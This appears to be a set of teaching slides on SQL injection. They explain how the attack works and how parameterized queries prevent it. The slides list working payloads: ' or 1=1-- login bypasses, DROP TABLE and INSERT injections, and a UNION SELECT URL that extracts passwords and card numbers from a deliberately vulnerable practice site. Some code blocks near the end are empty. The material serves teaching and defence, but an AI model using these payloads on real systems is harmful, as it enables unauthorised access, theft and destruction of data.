Hi, this is your son's school. We're having some computer trouble.

Oh, dear – did he break something? In a way?

Did you really name your son Robert'); DROP TABLE Students;--?

Oh, yes, little bobby tables, we call him.

Well, we've lost this year's student records. I hope you're happy.

And I hope you've learned to sanitize your database inputs.

By Simmy Bhatia
History

- SQL statements are a specialized language used to update, select, request and delete information from a database or website
- SQL injections are a specific type of attack that exploit vulnerabilities in the security of an application
  - Ranked as the #1 security threat by OWASP
- Can perform a wide array of attacks
  - Spoof identities
  - Tamper existing data
  - Change database values
  - Destroy the data
  - Become administrators of the database server
So How Do They Work?

- Two conditions required for a SQL injection:
  - Database that uses SQL
  - User input that's used directly in the SQL query
- Attacker can take advantage of SQL syntax when entering input to gain access to information they shouldn’t have access to

```sql
var = "IF EXISTS (SELECT * from users WHERE username='" + #form.username# + "' AND password='" + #form.password# + ")"

EXECUTE var

// if query succeeds, let this person into your website"
**SQL Syntax**

- **Delimiters (;):** ends a query and begins the next one
- **Comments (--):** ignore the rest of a SQL statement
- **String literals (’ ’ or “ ”):** hold string values
- **Operators**
  - OR
  - AND
  - WHERE
  - SELECT
  - **UNION:** combines the results of 2+ SELECT statements
  - **JOIN:** combines columns from 2+ databases
  - **DELETE**
Common Types and Techniques of Attack

- In-band
  - Error based
  - Union based
- Blind
  - Boolean based
  - Time based

Techniques:

- Use an OR 1=1 statement
- Line comments (DROP sampletable;-- )
- Executing multiple queries in one statement (SELECT * FROM products WHERE id = 10; DROP members--)
- Execute a sleep statement (SELECT sleep(10); )
Helpful Hints

- Look for websites that take parameters as input (http://sample/index.asp?id=10)
- Test if it’s vulnerable using single quote techniques:
  - http://sample/index.asp?id=anything’ or 1=1--
  - Login: anything'' or 1=1--
    - ' or 1=1--
    - " or 1=1--
    - or 1=1--
    - ' or 'a'='a
    - " or "a"="a
    - ') or ('a'='a
How to prevent against attack

- **Sanitize input**
  - Ensure that user can’t input semi-colons, quotation marks, double dashes, or any other common SQL operators as their input. Could also escape the characters
  - Whitelist input

- **Parameterize input**
  - Don’t execute code directly as SQL statements
  - Create string using placeholders

- **Never grant full database privileges to the website (limit access to a handful of tables only)**

- **Limit error reporting to avoid including developer debugging information**

```
/* Insecure version */
Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = " + formField); // boom

/* Secure version */
PreparedStatement ps = connection.prepareStatement("SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();
```
Examples

```sql
SELECT fieldlist
FROM table
WHERE field = 'anything' OR 'x'='x';
```

```sql
SELECT fieldlist
FROM table
WHERE field = 'x' AND email IS NULL; --
```

```sql
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x'; DROP TABLE members; --
; -- Boom!
```

```sql
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x';
INSERT INTO members ('email','passwd','login id','full name')
VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--
```
An Easy Walkthrough

https://www.hacksplaining.com/exercises/sql-injection#
Let’s Have Fun!

- Go to this website: http://testphp.vulnweb.com
● Under any of the artists, inspect the URL
● Can you try one of the SQL techniques we discussed? What happens?

Let’s try to extract information from this database using this malicious query:

```
UNION SELECT 1, 2, 3
```

What about this?

```
UNION SELECT 1, 2, 3
```

What did we learn from this?

```
```

```
```

```
artist: 2
```

```
view pictures of the artist
```

```
comment on this artist
```

```
artist: 3
```

```
view pictures of the artist
```

```
comment on this artist
```
What information can we extract from this website using a malicious query?

http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,pass,cc FROM users WHERE uname='test'